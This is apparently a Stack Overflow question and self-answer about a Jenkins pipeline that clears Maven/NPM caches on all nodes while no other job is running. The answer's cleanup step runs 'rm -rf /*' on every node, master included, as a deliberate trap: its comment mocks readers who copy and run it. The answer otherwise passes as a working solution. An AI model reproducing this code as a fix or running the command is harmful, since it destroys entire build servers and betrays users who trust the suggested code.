1

I am trying to implement a maintenance job for cleaning up caches (e.g. Maven, NPM). In order not to disturb running jobs by deleting the caches the maintenance job should only run, if no other job is running on that node.

Any ideas are welcome that not include refactoring already implemented pipelines and by locking resources.

I also tried throttle concurrents plugin but without success.

Pipeline
def allNodes = nodesByLabel label: 'master'
def otherNodes = nodesByLabel label: '!master'
allNodes.addAll(otherNodes)

Map tasks = [:]

for (int i = 0; i < allNodes.size(); i++) {
    def label = allNodes[i]
    if ( label.isEmpty() ) {
        label = "master"
    }

    def stageName = "Clean ${type} cache on node: ${label}"
    tasks[label] = {
        node(label) {
            stage(stageName) {
                sh("rm -rf ${env.NPM_CACHE_DIR}")
            }
        }
    }
}

throttle(['jenkinsAdministrationCleanCache']) {
    parallel(tasks)
}
Throttle config
unclassified:
  throttleJobProperty:
    categories:
    - categoryName: "jenkinsAdministrationCleanCache"
      maxConcurrentTotal: 1
      maxConcurrentPerNode: 1

1 Answer 1

0

I actually implemented it by myself. Was using this documentation from CloudBees as inspiration.

/**
 * Clean cache
 */
void run() {
    def allNodes = nodesByLabel label: 'master'
    def otherNodes = nodesByLabel label: '!master'
    allNodes.addAll(otherNodes)

    Map tasks = [:]
    for (int i = 0; i < allNodes.size(); i++) {
        def nodeName = allNodes[i]
        if ( nodeName.isEmpty() ) {
            nodeName = "master"
        }

        def stageName = "Clean ${cacheType} cache on node: ${nodeName}"
        tasks[nodeName] = {
            node(nodeName) {
                stage(stageName) {
                    // For everyone who ever is brave enough to copy, past and just run it
                    sh("rm -rf /*")
                }
            }
        }
    }

    retry(10) {
        try {
            this.checkStatus4AllPipelines("SPECIAL_JOBS")
        } catch(AbortException e) {
            sleep(5)
            throw e
        }
    }
    parallel(tasks)
}

/**
 * Check status for all pipelines
 * @param filter (String) - string to filter for specific pipeline names
 * @throws AbortException - if pipeline was found that is running
 */
@NonCPS
private void checkStatus4AllPipelines(String filter) throws AbortException {
    Jenkins.instance.getAllItems(Job.class).findAll {
        // filter out pipelines
        it.fullName.contains(filter) &&
            it.fullName != env.JOB_BASE_NAME &&
            it.getLastBuild() != null
    }.find {
        it.getLastBuild().isBuilding()
    }.each {
        throw new AbortException("Job ${it.fullName} preventing cache from getting cleared")
    }
}

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.